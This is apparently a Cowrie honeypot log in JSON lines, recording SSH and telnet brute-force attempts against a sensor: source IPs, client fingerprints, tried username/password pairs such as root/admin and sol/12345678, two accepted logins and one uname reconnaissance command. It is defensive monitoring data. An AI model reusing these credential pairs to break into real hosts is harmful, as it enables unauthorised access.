{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.923213Z","src_ip":"162.120.6.20","session":"515e4b84e737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:31:46.928412Z","src_ip":"162.120.6.20","session":"515e4b84e737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46822,"dst_ip":"159.203.135.109","dst_port":22,"session":"939f307e60bd","protocol":"ssh","message":"New connection: 92.118.39.92:46822 (159.203.135.109:22) [session: 939f307e60bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:32:28.466715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:32:28.471369Z","src_ip":"92.118.39.92","session":"939f307e60bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:32:28.566055Z","src_ip":"92.118.39.92","session":"939f307e60bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereumdocker","password":"ethereumdocker","message":"login attempt [ethereumdocker/ethereumdocker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:32:28.855208Z","src_ip":"92.118.39.92","session":"939f307e60bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:32:29.954397Z","src_ip":"92.118.39.92","session":"939f307e60bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"121.5","message":"Connection lost after 121.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:32:38.873986Z","src_ip":"83.227.125.172","session":"ee49ad6aa03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58540,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d7493e5ce10","protocol":"ssh","message":"New connection: 195.178.110.218:58540 (159.203.135.109:22) [session: 9d7493e5ce10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:11.042722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:11.047332Z","src_ip":"195.178.110.218","session":"9d7493e5ce10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:11.122757Z","src_ip":"195.178.110.218","session":"9d7493e5ce10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:11.348380Z","src_ip":"195.178.110.218","session":"9d7493e5ce10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:12.429185Z","src_ip":"195.178.110.218","session":"9d7493e5ce10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55334,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc3b8877e902","protocol":"ssh","message":"New connection: 80.94.92.184:55334 (10.17.0.5:22) [session: cc3b8877e902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:38.075998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:38.254712Z","src_ip":"80.94.92.184","session":"cc3b8877e902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:38.259113Z","src_ip":"80.94.92.184","session":"cc3b8877e902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:39.157849Z","src_ip":"80.94.92.184","session":"cc3b8877e902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:40.268799Z","src_ip":"80.94.92.184","session":"cc3b8877e902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34022,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e3642037e75","protocol":"ssh","message":"New connection: 92.118.39.92:34022 (159.203.135.109:22) [session: 2e3642037e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:44.300607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:44.304007Z","src_ip":"92.118.39.92","session":"2e3642037e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:44.416234Z","src_ip":"92.118.39.92","session":"2e3642037e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ether","password":"ether","message":"login attempt [ether/ether] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:44.721980Z","src_ip":"92.118.39.92","session":"2e3642037e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:34:45.823885Z","src_ip":"92.118.39.92","session":"2e3642037e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.21.150","src_port":58062,"dst_ip":"10.17.0.5","dst_port":23,"session":"689c40e5ea53","protocol":"telnet","message":"New connection: 103.253.21.150:58062 (10.17.0.5:23) [session: 689c40e5ea53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:11.370732Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:11.912602Z","src_ip":"103.253.21.150","session":"689c40e5ea53","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:11.978837Z","src_ip":"103.253.21.150","session":"689c40e5ea53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50348,"dst_ip":"159.203.135.109","dst_port":22,"session":"7760703ab18b","protocol":"ssh","message":"New connection: 195.178.110.218:50348 (159.203.135.109:22) [session: 7760703ab18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:50.956039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:50.960254Z","src_ip":"195.178.110.218","session":"7760703ab18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:51.039826Z","src_ip":"195.178.110.218","session":"7760703ab18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:51.278208Z","src_ip":"195.178.110.218","session":"7760703ab18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:52.358214Z","src_ip":"195.178.110.218","session":"7760703ab18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":49486,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c666972400","protocol":"ssh","message":"New connection: 92.118.39.92:49486 (159.203.135.109:22) [session: 54c666972400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:53.820670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:53.824982Z","src_ip":"92.118.39.92","session":"54c666972400","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:53.926147Z","src_ip":"92.118.39.92","session":"54c666972400","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ether","message":"login attempt [root/ether] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:54.225639Z","src_ip":"92.118.39.92","session":"54c666972400","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:54.453758Z","src_ip":"92.118.39.92","session":"54c666972400","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:54.456365Z","src_ip":"92.118.39.92","session":"54c666972400","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:54.632654Z","src_ip":"92.118.39.92","session":"54c666972400","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:36:54.637165Z","src_ip":"92.118.39.92","session":"54c666972400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58068,"dst_ip":"10.17.0.5","dst_port":22,"session":"274320d43d88","protocol":"ssh","message":"New connection: 80.94.92.184:58068 (10.17.0.5:22) [session: 274320d43d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:37:35.451705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:37:35.513840Z","src_ip":"80.94.92.184","session":"274320d43d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:37:35.624355Z","src_ip":"80.94.92.184","session":"274320d43d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:37:36.392513Z","src_ip":"80.94.92.184","session":"274320d43d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:37:37.683020Z","src_ip":"80.94.92.184","session":"274320d43d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36728,"dst_ip":"159.203.135.109","dst_port":22,"session":"472ce2076f0b","protocol":"ssh","message":"New connection: 92.118.39.92:36728 (159.203.135.109:22) [session: 472ce2076f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.048896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.053529Z","src_ip":"92.118.39.92","session":"472ce2076f0b","protocol":"ssh"}
